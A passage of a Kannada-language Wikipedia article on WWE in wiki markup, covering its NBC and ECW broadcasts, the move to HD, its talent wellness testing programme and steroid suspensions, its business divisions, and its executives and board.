ಪಂದ್ಯ|ಸ್ಯಾಟರ್‌ಡೇ ನೈಟ್ಸ್ ಮೇನ್ ಈವೆಂಟ್(SNME)]]ಗೆ, ಹದಿಮೂರು ವರ್ಷದ ಬಿಡುವಿನ ನಂತರ, ಮತ್ತೆ [[NBC]]ಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳಲು ಅವಕಾಶ ದೊರಕಿತು. ಹೀಗಾಗಿ WWE ಕಂಪನಿಗೆ ಹೆಚ್ಚಿನ ಪ್ರಸಿದ್ಧಿಯಿಲ್ಲದ ಕೇಬಲ್ ಚಾನಲ್ USA ನೆಟ್‌ವರ್ಕ್ ಅಥವಾ [[ದಿ CW ಟೆಲಿವಿಷನ್ ನೆಟ್‌ವರ್ಕ್‌|CW]] ಗಳಿಗಿಂತ ಹೆಚ್ಚು ಪ್ರಮುಖವಾದ ರಾಷ್ಟ್ರೀಯ ಜಾಲದಲ್ಲಿ ಪ್ರಚಾರ ಮಾಡಲು ಅವಕಾಶ ಸಿಕ್ಕಿತು. NBCಯಲ್ಲಿ WWE ಯ ವಿಶೇಷ ಸರಣಿಗಳನ್ನು SNME ಕೆಲವು ಸಲ ಪ್ರಸಾರಮಾಡುತ್ತದೆ. === ECW ಮರಳುವಿಕೆ, HDಯ ಪರಿಚಯ=== [[File:WWEHD logo.jpg|right|thumb|330px|ಹಾಲಿಯ WWE HD ಲೊಗೊ]] ಮೇ 26,2006ಗೆ WWE ಯು [[ಎಕ್ಸಟ್ರೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್|ಎಕ್ಸಟ್ರೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್‌]] ನ ಪುನಃಸ್ಥಾಪನೆಯನ್ನು [[WWE ಬ್ರಾಂಡ ವಿಸ್ತಾರ|ವ್ವೆ ಬ್ರಾಂಡ್]] ಎಂದು ಘೋಷಿಸಿತು. [[ECW (WWE)|ಹೊಸ ECW]] ಕಾರ್ಯಕ್ರಮ ಅಂತರರಾಷ್ಟ್ರೀಯವಾಗಿ ಪ್ರತಿ ಮಂಗಳವಾರ ರಾತ್ರಿ [[ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ]] [[Syfy]]ಯಲ್ಲಿ ಪ್ರಸಾರವಾಗುತ್ತದೆ.<ref name="SciFi">{{cite web|title=WWE brings ECW to Sci Fi Channel|publisher=WWE.com|url=http://www.wwe.com/shows/ecw/scifi|accessdate=2006-08-28}}</ref> ಸೆಪ್ಟೆಂಬರ್ 26,2007ರಲ್ಲಿ WWEಯು ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾರ್ಯಚರಣೆಯನ್ನು ವಿಸ್ತರಿಸಲಿದೆ ಎಂದು ಘೋಷಿಸಿತು. ಹಾಲಿ ಲಂಡನ್ ಮತ್ತು ಟೊರಾಂಟೋದಲ್ಲಿನ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಛೇರಿಗಳ ಜೊತೆಗೆ [[ಸಿಡ್ನಿ]]ಯಲ್ಲಿ ಕೂಡ ಒಂದು ಹೊಸ ಕಛೇರಿಯನ್ನು ಸ್ಥಾಪಿಸಲಾಗುವುದು.<ref>{{cite web|url=http://corporate.wwe.com/news/2007/2007_09_26.jsp|title=WWE: Flexing its Muscle|date=2007-09-01|access-date=2009-11-13|archive-date=2014-10-16|archive-url=https://web.archive.org/web/20141016164709/http://corporate.wwe.com/news/2007/2007_09_26.jsp|url-status=dead}}</ref> ಜನವರಿ 21,2008ರಂದು WWE [[ಹೈ-ಡೆಫಿನಿಷನ್ ಟೆಲಿವಿಷನ್|ಹೈ-ಡೆಫಿನಿಷನ್]] (HD)ಗೆ ಬದಲಾಯಿತು. ಈ ನಂತರ ಎಲ್ಲಾ TV ಪ್ರದರ್ಶನಗಳು ಮತ್ತು ಶುಲ್ಕವಿಧಿತ ಪ್ರದರ್ಶನಗಳು HDಯಲ್ಲಿ ಪ್ರಸಾರವಾಗತೊಡಗಿದವು. ಇದರ ಜೊತೆಗೆ, WWE ಒಂದು ಹೊಸ [[ಸ್ಟೆಟ್ ಆಫ್ ದಿ ಆರ್ಟ್|ಸ್ಟೇಟ್ ಆಫ್ ಆರ್ಟ್]] ಶ್ರೇಣಿಯನ್ನು ಪರಿಚಯಿಸಿತು. ಇದನ್ನು ಮೂರೂ ಬ್ರಾಂಡ್‌ಗಳಿಗೆ ಬಳಸುತ್ತಾರೆ.<ref name="HD">{{cite web|title=WWE Goes HD|url=http://corporate.wwe.com/news/2008/2008_01_14.jsp|publisher=WWE|accessdate=2008-01-25|archive-date=2008-01-18|archive-url=https://web.archive.org/web/20080118074358/http://corporate.wwe.com/news/2008/2008_01_14.jsp|url-status=dead}}</ref> ===WWE ಯೂನಿವರ್ಸ್=== ನವೆಂಬರ್ 19,2008ರಲ್ಲಿ WWE,"WWE ಯೂನಿವರ್ಸ್" ಎಂಬ ತನ್ನ ಆನ್‌ಲೈನ್ ಸಾಮಾಜಿಕ ಸಂಪರ್ಕ ಜಾಲವನ್ನು ಸ್ಥಾಪಿಸಿತು. ಏಪ್ರಿಲ್ ತಿಂಗಳ ಆರಂಭದಲ್ಲಿ ಇದು ''WWE ಫಾನ್ ನೇಶನ್'' ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿತು. [[MySpace|ಮೈಸ್ಪೇಸ್‌]]ನ ಹಾಗೆ ಇದು ಕೂಡ ಬ್ಲಾಗ್‌ಗಳು,ಫೋರಮ್‌ಗಳು ಮತ್ತು ಇನ್ನಿತರ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು WWE ಅಭಿಮಾನಿಗಳಿಗೆ ನೀಡುತ್ತದೆ.<ref>{{cite web|title=WWE.com launches much anticipated online social network|url=http://corporate.wwe.com/news/2008/2008_11_19.jsp|publisher=WWE|accessdate=2008-12-29|archive-date=2008-12-17|archive-url=https://web.archive.org/web/20081217182535/http://corporate.wwe.com/news/2008/2008_11_19.jsp|url-status=dead}}</ref> ಜನವರಿ 9,2009ರಂದು WWE, $20 ಮಿಲಿಯನ್ ವೆಚ್ಚವನ್ನು ಉಳಿಸಲು ತನ್ನ ಒಟ್ಟು ಸಿಬ್ಬಂದಿಯ ಶೇಖಡಾ 10% ಸಿಬ್ಬಂದಿಯನ್ನು ತೆಗೆಯಲಾಗುವುದು ಎಂದು ಘೋಷಿಸಿತು.<ref>{{Cite web |url=http://corporate.wwe.com/news/2009/2009_01_09.jsp |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-11-13 |archive-date=2010-12-05 |archive-url=https://web.archive.org/web/20101205064355/http://corporate.wwe.com/news/2009/2009_01_09.jsp |url-status=dead }}</ref> ==ಸ್ವಾಸ್ಥ್ಯ ಕಾರ್ಯಕ್ರಮ== ಪ್ರತಿಭೆ ಸ್ವಾಸ್ಥ್ಯ ಕಾರ್ಯಕ್ರಮ, ವಿಶಿಷ್ಟವಾಗಿ ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎನ್‍ಟರಟೇನ್‌ಮೆಂಟ್‌ಗಾಗಿನ ಒಂದು ವ್ಯಾಪ್ತವಾದ ಔಷಧ,ಮದ್ಯ ಮತ್ತು ಹೃದಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಪರೀಕ್ಷಾ ಕಾರ್ಯಕ್ರಮವಾಗಿದೆ. ಇದನ್ನು ಮೂವತ್ತೆಂಟು ವರ್ಷದ [[ಎಡ್ಡಿ ಗುರೇರೊ]] ಅವರ ಆಕಸ್ಮಿಕ ಸಾವಿನ ಕೆಲ ಸಮಯದ ನಂತರ ಫೆಬ್ರವರಿ 2006ರಲ್ಲಿ ಶುರು ಮಾಡಿದರು. ಎಡ್ಡಿ ಗುರೇರೊ WWEನ ಒಬ್ಬ ಅತ್ಯುತ್ತಮ ಪ್ರತಿಭೆ ಆಗಿದ್ದರು.<ref name="wwepolicy">{{cite web|url=http://corporate.wwe.com/documents/TalentWellnessProgramOutline2-27-06CORPweb.pdf|title=WWE Talent Wellness Program|accessdate=2007-10-11|date=2007-02-27|publisher=Corporate WWE Web Site|archive-date=2014-08-31|archive-url=https://web.archive.org/web/20140831122008/http://corporate.wwe.com/documents/TalentWellnessProgramOutline2-27-06CORPweb.pdf|url-status=dead}}</ref> ಈ ಕಾರ್ಯನೀತಿಯು [[ವಿಹಾರಕ್ಕಾಗಿ ಔಷಧಿಗಳ ಉಪಯೋಗ|ಚೈತನ್ಯ ನೀಡುವ ಔಷಧಿ]]ಗಳ ಬಳಕೆಯನ್ನು ಮತ್ತು [[ಅನಾಬೊಲಿಕ್ ಸ್ಟೆರಾಯ್ಡ್|ಅನಾಬೊಲಿಕ್ ಸ್ಟೇರಾಯ್ಡ್]] ಒಳಗೊಂಡಂತೆ ವೈದ್ಯರ ಲಿಖಿತ ಔಷಧೀಕರಣದ ಸಲಹೆಯ ದುರ್ಬಳಕೆಯನ್ನು ಪರೀಕ್ಷೆ ಮಾಡುತ್ತದೆ.<ref name="wwepolicy" /> ಈ ಕಾರ್ಯನೀತಿಯ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ಪ್ರತಿಭೆಗಳ ಪೂರ್ವ-ಅಸ್ತಿತ್ವದ ಅಥವಾ ಬೆಳೆಯುತ್ತಿರುವ ಹೃದಯದ ಕಾಯಿಲೆಗಳ ತಪಾಸಣೆಗಳನ್ನು ವಾರ್ಷಿಕವಾಗಿ ಮಾಡುತ್ತಾರೆ. ಉದ್ದೀಪನ ಔಷಧ ತಪಾಸಣೆಯನ್ನು ಏಜಿಸ್ ಸೈನ್ಸಸ್ ಕಾರ್ಪೊರೇಷನ್ ನಿರ್ವಹಿಸುತ್ತದೆ. ಹೃದಯದ ಪರೀಕ್ಷೆಗಳನ್ನು ನ್ಯೂಯಾರ್ಕ್ ಕಾರ್ಡಿಯಾಲಜಿ ಅಸೋಶಿಯೇಟ್ಸ್ P.C.ಯವರು ನಿರ್ವಹಿಸುತ್ತಾರೆ.<ref name="wwepolicy" /> ಈ ಕಾರ್ಯನೀತಿಯನ್ನು ಅನುಸರಣೆಗೆ ತಂದ ಮೇಲೂ ಕೆಲವು WWE ಪಟುಗಳು ಸ್ಟೇರಾಯ್ಡ್‌ಗಳನ್ನು ಖರೀದಿಸಿದ ಕುರಿತು ಹಲವು ಅಕ್ರಮ ಔಷಧಿಗಳ ದಾಳಿಯಲ್ಲಿ ಕಂಡುಬಂದುದರಿಂದಾಗಿ, ಈ ಕಾರ್ಯನೀತಿಯನ್ನು WWE ಹಾಗು ಅದರ ನೌಕರರು ಗಂಭೀರವಾಗಿ ಬೆಂಬಲಿಸಬೇಕಾಯಿತು. 11 ಜನ ಕುಸ್ತಿಪಟುಗಳ ಹೆಸರು ಅನಾಬೊಲಿಕ್ ಸ್ಟೇರಾಯ್ಡಿನ ಖರೀದಿಯ ಸಂಬಂಧವಾಗಿ ಪ್ರಕಟಗೊಂಡಾಗ, WWE ಬಹಿರಂಗವಾಗಿ ಅವರನ್ನು ಅಮಾನತ್ತು ಮಾಡಿದರು.<ref>{{cite news|url=http://sportsillustrated.cnn.com/2007/more/08/30/wrestlers/|title=Fourteen wrestlers tied to pipeline|publisher=Sports Illustrated|date=2007-08-30|accessdate=2007-10-11|archive-date=2013-02-27|archive-url=https://web.archive.org/web/20130227035900/http://sportsillustrated.cnn.com/2007/more/08/30/wrestlers/|url-status=dead}}</ref><ref>{{cite news|first=Paul|last=Farhi|title=Pro Wrestling Suspends 10 Linked to Steroid Ring|url=http://www.washingtonpost.com/wp-dyn/content/article/2007/08/31/AR2007083101961.html|publisher=[[The Washington Post|Washington Post]]|date=2007-09-01|accessdate=2007-10-11}}</ref> ಪ್ರಾಯಶಃ ಅನಾಬಾಲಿಕ್ ಸ್ಟೇರಾಯಿಡ್‌ ದುರ್ಬಳಕೆಗೆ ಸಂಬಂಧಿಸಿ, WWEನ ಕ್ರಿಸ್ ಬೆನೊಯಿಟ್‌ ಎಂಬ [[ಕ್ರಿಸ್ ಬೆನೊಯಿಟ್‌ನ ದ್ವಿಗುಣ ಹತ್ಯೆ ಮತ್ತು ಆತ್ಮಹತ್ಯೆ|ಕುಸ್ತಿಪಟುವಿನ ಸಾವಿನ]] ನಂತರ, [[ದುರ್ಲಕ್ಷ್ಯತೆ ಮತ್ತು ಸರ್ಕಾರದ ಸುಧಾರಣೆಗಳ ಯುನೈಟೆಡ್ ಸ್ಟೆಟ್ಸ್ ಹೌಸ್ ಸಮಿತಿ|ಯುನಿಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಹೌಸ್ ಕಮಿಟಿ ಆನ್ ಓವರ್‌ಸೈಟ್ ಅಂಡ್ ಗವರ್ನಮೆಂಟ್ ರೀಫಾರ್ಮ್]] ನಿಂದ ಪ್ರಸ್ತುತ WWE ತನಿಖೆ ನಡೆಸಲ್ಪಡುತ್ತಿದೆ.<ref name="steroid">{{cite web|url=http://www.msnbc.msn.com/id/20002071/|title=Congress wants WWE's info on steroids, doping|accessdate=2007-07-29|archive-date=2007-11-17|archive-url=https://web.archive.org/web/20071117012701/http://www.msnbc.msn.com/id/20002071/|url-status=dead}}</ref> ಆಗಸ್ಟ್ 2007ರಲ್ಲಿ WWE ತನ್ನ ಹತ್ತು ಕುಸ್ತಿಪಟುಗಳನ್ನು ಸಮರ್ಪಕ ಕಾರ್ಯನೀತಿ ಉಲ್ಲಂಘಿಸಿದ ಕಾರಣ ಅಮಾನತು ಮಾಡಿತು. ಇವರುಗಳು [[ಒರ್ಲ್ಯಾಂಡೊ,ಫ್ಲೋರಿಡಾ|ಫ್ಲೊರಿಡಾದ ಓರ್ಲ್ಯಾಂಡೊ]] ಸಿಗ್ನೇಚರ್ ಔಷಧಿ ಅಂಗಡಿಯ ಗಿರಾಕಿಗಳಾಗಿದ್ದರು ಎಂದು ವರದಿ ಬಂದಿತ್ತು. WWEಯ ಅಟಾರ್ನಿ ಜೆರ್ರಿ ಮ್ಯಾಕ್‌ಡೆವಿಟ್ ಅವರ ಒಂದು ಹೇಳಿಕೆ ಪ್ರಕಾರ, ನಂತರ ಒಬ್ಬ ಹನ್ನೊಂದನೆಯ ಕುಸ್ತಿಪಟುವನ್ನು ಸಹಾ ಅಮಾನತ್ತು ಮಾಡಲಾಯಿತು<ref>{{cite web|url=http://www.headlineplanet.com/base/articles/1188623664.html|title="WWE Suspends Yet Another Wrestler"|date=2007-09-01|work=Headline Planet|access-date=2009-11-13|archive-date=2009-05-16|archive-url=https://web.archive.org/web/20090516024840/http://headlineplanet.com/base/articles/1188623664.html|url-status=dead}}</ref>. ಇನ್ನೊಂದೆಡೆ, ಸ್ವಾಸ್ಥ್ಯ ಕಾರ್ಯನೀತಿಯ ಕಾರಣ ವೈದ್ಯರು ಒಬ್ಬ ಕುಸ್ತಿಪಟುವಿನ ಹೃದಯ ರೋಗವನ್ನು ಕಂಡುಹಿಡಿಯಲು ಸಾಧ್ಯವಾಯಿತು. ಇಲ್ಲದಿದ್ದರೆ ಇದು ಕೊನೆಯವರೆಗೂ ಯಾರ ಗಮನಕ್ಕೆ ಬರುತ್ತಿರಲಿಲ್ಲ. ಆಗಸ್ಟ್ 2007ರಲ್ಲಿ ಆಗ ಪ್ರಬಲವಾಗಿದ್ದ [[WWE ಯುನೈಟೆಡ್ ಸ್ಟೆಟ್ಸ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್|ಯುನೈಟಡ್ ಸ್ಟೇಟ್ಸ್ ಚಾಂಪಿಯನ್]] ಆಲ್ವಿನ್ ಬರ್ಕ್ ಜೂನಿಯರ್ (ಆತನ ಅಖಾಡದಲ್ಲಿನ ಹೆಸರು [[ಮಾಂಟೆಲ್ ವೊಂಟಾವಿಯಸ್ ಪೋರ್ಟರ್]]) ಗೆ [[ವೋಲ್ಫ್-ಪಾರ್ಕಿನ್‌ಸನ್-ವ್ಹೈಟ್ ಸಿಂಡ್ರೋಮ್]] ಎಂಬ ಕಾಯಿಲೆಯಿದೆ ಎಂದು ಗುರುತಿಸಲಾಯಿತು.<ref>{{cite web|url=http://www.wwe.com/shows/smackdown/archive/08102007/articles/mvpmostvaluableprogram|title=MVP's Most Valuable Program|publisher=WWE|date=2007-08-10|accessdate=2007-12-07}}</ref> ಇದನ್ನು ಗಮನಿಸದಿದ್ದಲ್ಲಿ ಇದು ಮಾರಕವಾಗುತ್ತಿತ್ತು. ಈ ರೋಗವನ್ನು MVPರವರ ನಿಯಮಿತ ಸ್ವಾಸ್ಥ್ಯ ಕಾರ್ಯನೀತಿಯ ತಪಾಸಣೆಯನ್ನು ಮಾಡಿದಾಗ ಕಂಡುಹಿಡಿಯಲಾಯಿತು. == ವ್ರೆಸ್ಲಿಂಗ್ ಮೀರಿ ವಿಸ್ತರಿಸುವಿಕೆ == ಕುಸ್ತಿಪಟುಗಳು ಹಾಗೂ ನಿರ್ವಾಹಕರು ಬಯಸುವ [[Acclaim Entertainment|ಅಕ್ಲೈಮ್]],[[THQ]] ಮತ್ತು [[ಜ್ಯಾಕ್ಸ್ ಪಾಸಿಫಿಕ್|ಜಾಕ್ಸ್ ಪೆಸಿಫಿಕ್]] ಕಂಪನಿಗಳಿಗೆ ವಿಡಿಯೊ ಗೆಮ್ಸ್ ಹಾಗು ಆಕ್ಷನ್ ಫಿಗರ್ಸ್ ಸೃಷ್ಟಿಸಲು ಅನುಮತಿ ಕೊಡುವುದರ ಜೊತೆಗೆ, WWE ತನ್ನ ಉತ್ಪನ್ನಗಳ ಮಾರಾಟ ಹೆಚ್ಚಿಸಲು ಬೇರೆ ಆಸಕ್ತ ಕ್ಷೇತ್ರಗಳತ್ತ ಕೂಡ ತಿರುಗಿತು. * [[WWE ಸ್ಟೂಡಿಯೋಗಳು]]: ಚಲನಚಿತ್ರಗಳ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಸೃಷ್ಟಿಸಲು ಹಾಗು ವೃದ್ಧಿಸಲು 2002ರಲ್ಲಿ WWEಯ ಶಾಖೆಯೊಂದನ್ನು ಸೃಷ್ಟಿಸಲಾಯಿತು. ಪ್ರಾರಂಭದಲ್ಲಿ WWE ಫಿಲ್ಮ್ಸ್ ಎಂದು ಪ್ರಚಲಿತವಾಗಿತ್ತು. *[[WWE ನಯಗರ ಜಲಪಾತ|WWE ನಯಾಗಾರಾ ಫಾಲ್ಸ್]]: ಇದು [[ನಯಗರ ಜಲಪಾತ,ಒಂಟಾರಿಯೊ|ಒಂಟಾರಿಯೊದಲ್ಲಿರುವ ನಯಾಗಾರಾ ಜಲಪಾತ]]ದ ಸ್ಥಳದಲ್ಲಿರುವ ಒಂದು ಬಿಡಿ ಮಾರಾಟ ಮಾಡುವ ಹಾಗೂ ಮನೋರಂಜನೆಯ ನೆಲೆಗಟ್ಟಾಗಿದ್ದು, WWE ಇದರ ಮಾಲಿಕತ್ವ ಹೊಂದಿದೆ. * ಆರಂಭದಲ್ಲಿ WWF ನ್ಯೂಯಾರ್ಕ್ ಎಂದು ಪ್ರಚಲಿತವಿದ್ದ [[ದಿ ವರ್ಲ್ಡ್ (WWE)|ದಿ ವರ್ಲ್ಡ್]]: ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಒಂದು ಉಪಹಾರ ಗೃಹ,ರಾತ್ರಿ ಕ್ಲಬ್ ಮತ್ತು ಸ್ಮರಣಾರ್ಹ ವಸ್ತುಗಳ ಅಂಗಡಿ. * [[WWE ಸಂಗೀತದ ಗುಂಪು|WWE ಮ್ಯೂಸಿಕ್ ಗ್ರೂಪ್]]: WWE ಕುಸ್ತಿಪಟುಗಳ ಪ್ರವೇಶ ನಿರೂಪಣಾ ವಿಷಯದ ವಿಡಿಯೋ ಸಂಗ್ರಹ ಸಂಕಲನವನ್ನು ಮಾಡುವುದರಲ್ಲಿ ವಿಶೇಷತೆ ಪಡೆದ ಒಂದು ಶಾಖೆ. ಕುಸ್ತಿಪಟುಗಳು ಸ್ವತಃ ವಾಸ್ತವಿಕವಾಗಿ ನಿರ್ವಹಿಸಿದ ಬಿರುದುಗಳನ್ನು ಕೂಡ ಬಿಡುಗಡೆ ಮಾಡುತ್ತದೆ. * [[WWE ಹೋಮ್ ವಿಡಿಯೊ|WWE ಹೊಮ್ ವಿಡಿಯೋ]]: WWE ಶುಲ್ಕವಿಧಿತ ಪ್ರದರ್ಶನಗಳ VHS ಸಂಕಲನ,DVD ಹಾಗು ಬ್ಲು-ರೇ ಡಿಸ್ಕ್ ಪ್ರತಿಗಳನ್ನು, WWE ಕುಸ್ತಿಪಟುಗಳ ಕುಸ್ತಿಗಳ ಸಂಕಲನಗಳು ಮತ್ತು WWE ನಿರ್ವಾಹಕರ ಜೀವನ ಚರಿತ್ರೆಯನ್ನು ವಿತರಿಸುವ ಕಾರ್ಯದಲ್ಲಿ ವಿಶೇಷತೆ ಪಡೆದ ಒಂದು ಶಾಖೆ. *[[WWE ಪುಸ್ತಕಗಳು]]: WWEಯ ಗಣ್ಯವ್ಯಕ್ತಿಗಳ ಆತ್ಮಚರಿತ್ರೆ ಮತ್ತು ದಂತ-ಕಥೆ, WWEನ ದೃಶ್ಯದ ಹಿಂದಿನ ನೋಟಗಳ ನಿರ್ದೇಶನ,ದೃಷ್ಟಾಂತವಿರುವ ಪುಸ್ತಕಗಳು,ಕಿರಿಯ ಯುವಕರ ಪುಸ್ತಕಗಳು ಹಾಗೂ ಇತರ ಸಾರ್ವತ್ರಿಕ ಘೋಷಣೆಗಳ ಪುಸ್ತಕಗಳನ್ನು ಪ್ರಕಟಿಸುವಲ್ಲಿ ಸಹಾಯ ಮಾಡುವ WWEಯ ಒಂದು ಶಾಖೆ. *WWE ಕಿಡ್ಸ್: ಮಕ್ಕಳ ದೃಷ್ಟಿಯ ವ್ರೆಸ್ಲಿಂಗ್ ಮಾರುಕಟ್ಟೆಯನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಒಂದು ವೆಬ್‌ಸೈಟ್ ಮತ್ತು ಹಾಸ್ಯಪತ್ರಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ತಯಾರಿಸಿದ್ದಾರೆ. ಹಾಸ್ಯಪತ್ರಿಕೆಗಳು ಎರಡು ತಿಂಗಳಿಗೆ ಒಮ್ಮೆ ಪ್ರಕಟಗೊಳ್ಳುತ್ತಿದ್ದು, ಇದನ್ನು ಏಪ್ರಿಲ್ 15,2008ರಂದು ಆರಂಭಿಸಲಾಯಿತು. == ಮುಖ್ಯ ಅಂಕಿ ಅಂಶಗಳು== === ಕಾರ್ಯನಿರ್ವಾಹಕ ಅಧಿಕಾರಿಗಳು=== [[File:WWE Corporate HQ, Stamford, CT, jjron 02.05.2012.jpg|thumb|right|250px| ವ್ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಎಂಟರ್ಟೇನ್‌ಮೆಂಟ್‌ನ ರಾಜಧಾನಿ,ಸ್ಟಾಂಫೋರ್ಡ್,ಕನೆಕ್ಟಿಕಟ್]] *[[ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್]]ವಿನ್ಸೆಂಟ್ ಕೆ. ಮ್ಯಾಕ್‌ಮೋಹನ್ <ref name="vince">{{cite web|url=http://corporate.wwe.com/company/bios/vk_mcmahon.jsp |title=WWE Corporate Biography of Vince McMahon|accessdate=2007-05-20}}</ref>(ಚೇರ್ಮನ್ ಮತ್ತು CEO) *ಮೈಕಲ್ ಸೈಲೆಕ್ (ಚೀಫ್ ಆಪರೇಟಿಂಗ್ ಆಫೀಸರ್)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/m_sileck.jsp|title=WWE Corporate Biography of Michael Sileck|accessdate=2007-05-20|archive-date=2008-12-20|archive-url=https://web.archive.org/web/20081220073025/http://corporate.wwe.com/company/bios/m_sileck.jsp|url-status=dead}}</ref> *[[ಶೇನ್ ಮ್ಯಾಕ್‌ಮೋಹನ್|ಶೇನ್ ಬಿ. ಮ್ಯಾಕ್‌ಮೋಹನ್]](ಎಕ್ಸೆಕ್ಯುಟಿವ್ ವೈಸ್ ಪ್ರೆಸಿಡೆಂಟ್, ಗ್ಲೋಬಲ್ ಮೀಡಿಯಾ)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/sb_mcmahon.jsp|title=WWE Corporate Biography of Shane McMahon|accessdate=2007-05-20}}</ref> * ಕೆವಿನ್ ಡನ್ (ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರು,ಚಲನಚಿತ್ರ ತಯಾರಿಕೆ)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/k_dunn.jsp|title=WWE Corporate Biography of Kevin Dunn|accessdate=2007-05-20|archive-date=2007-05-18|archive-url=https://web.archive.org/web/20070518150506/http://corporate.wwe.com/company/bios/k_dunn.jsp|url-status=dead}}</ref> * ಫ್ರಾಂಕ್ ಜಿ. ಸರ್ಪ್ (ಮುಖ್ಯ ಹಣಕಾಸು ಅಧಿಕಾರಿ)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/fg_serpe.jsp|title=WWE Corporate Biography of Frank Serpe|accessdate=2007-05-20|archive-date=2009-07-27|archive-url=https://web.archive.org/web/20090727040225/http://corporate.wwe.com/company/bios/fg_serpe.jsp|url-status=dead}}</ref> * ಡೊನ್ನಾ ಗೋಲ್ಡ್‌ಸ್ಮಿತ್ (ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರು,ಬಳಕೆದಾರ ಉತ್ಪನ್ನಗಳು)<ref>{{cite web|url= http://corporate.wwe.com/company/bios/d_goldsmith.jsp|title= WWE Corporate Biography of Donna Goldsmith|accessdate= 2007-05-20|archive-date= 2014-01-29|archive-url= https://web.archive.org/web/20140129221203/http://corporate.wwe.com/company/bios/d_goldsmith.jsp|url-status= dead}}</ref> *[[ಸ್ಟೆಫಾನಿ ಮ್ಯಾಕ್‌ಮೋಹನ್|ಸ್ಟೆಫಾನಿ ಮ್ಯಾಕ್‌ಮೋಹನ್-ಲೆವೆಸ್ಕ್]](ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರು,ಸೃಜನಶೀಲ ವಿಕಾಸ ಮತ್ತು ಕಾರ್ಯಾಚರಣೆ)<ref>{{cite web|url= http://corporate.wwe.com/company/bios/s_mcmahon_levesque.jsp|title=WWE Corporate Biography of Stephanie McMahon-Levesque| accessdate=2007-05-20}}</ref> *ಎಡ್ವರ್ಡ್ ಎಲ್. ಕಾಫ್‌ಮನ್ (ಕಾರ್ಯನಿರ್ವಾಹಕ ಉಪಾಧ್ಯಕ್ಷರು ಮತ್ತು ಜೆನರಲ್ ಕೌನ್ಸಿಲ್)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/el_kaufman.jsp|title=WWE Corporate Biography of Edward Kaufman|accessdate=2007-05-20|archive-date=2008-12-20|archive-url=https://web.archive.org/web/20081220073010/http://corporate.wwe.com/company/bios/el_kaufman.jsp|url-status=dead}}</ref> *[[ಜಾನ್ ಲಾರಿನೈಟಿಸ್|ಜಾನ್ ಲಾರನೆಟಿಸ್]](ಹಿರಿಯ ಉಪಾಧ್ಯಕ್ಷರು,ಪ್ರತಿಭಾ ಸಂಪರ್ಕ)<ref>{{cite web|url=http://corporate.wwe.com/company/bios/j_laurinaitis.jsp|title=WWE Corporate Biography of John Laurinaitis|accessdate=2007-05-20|archive-date=2010-02-14|archive-url=https://web.archive.org/web/20100214131333/http://corporate.wwe.com/company/bios/j_laurinaitis.jsp|url-status=dead}}</ref> * ಮೈಕಲ್ ಲೇಕ್ (ಅಧ್ಯಕ್ಷರು,WWE ಫಿಲ್ಮ್ಸ್)<ref>{{cite web|url=http://corporate.wwe.com/governance/bios/m_lake.jsp|title=WWE Corporate Biography of Michael Lake|accessdate=2008-01-08|archive-date=2009-05-03|archive-url=https://web.archive.org/web/20090503110630/http://corporate.wwe.com/governance/bios/m_lake.jsp|url-status=dead}}</ref> * ಜಾನ್ ಪಿ.ಸೆಬೂರ್ '' ಹಿರಿಯ ಉಪಾಧ್ಯಕ್ಷರು,ವಿಶೇಷ ಕಾರ್ಯಕ್ರಮಗಳು.'' <ref>{{cite news|url=http://corporate.wwe.com/news/2008/2008_07_28a.jsp|title=Saboor New WWE Ambassador|date=2008-07-28|accessdate=2008-12-20|work=WWE Corporate|archive-date=2014-10-27|archive-url=https://web.archive.org/web/20141027041934/http://corporate.wwe.com/news/2008/2008_07_28a.jsp|url-status=dead}}</ref> === ನಿರ್ದೇಶಕರ ಸಮಿತಿ=== *ವಿನ್ಸೆಂಟ್ ಕೆ. ಮ್ಯಾಕ್‌ಮೋಹನ್(ನಿರ್ದೇಶಕರ ಸಮಿತಿಯ ಅಧ್ಯಕ್ಷ ಮತ್ತು ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿ-WWE)<ref name="vince" /><ref name="directors">{{cite web|url=http://corporate.wwe.com/governance/board.jsp|title=Corporate Board of Directors|accessdate=2007-05-20|archive-date=2009-09-24|archive-url=https://web.archive.org/web/20090924084351/http://corporate.wwe.com/governance/board.jsp|url-status=dead}}</ref> * ಮೈಕಲ್ ಸೈಲೆಕ್ (ನಿರ್ವಹಣಾಧಿಕಾರಿ-WWE)<ref name="directors" /> *[[ಲಾವೆಲ್ ಪಿ.ವೈಕರ್, ಜೂ.|ಲೊವಲ್ ಪಿ. ವಿಕರ್, 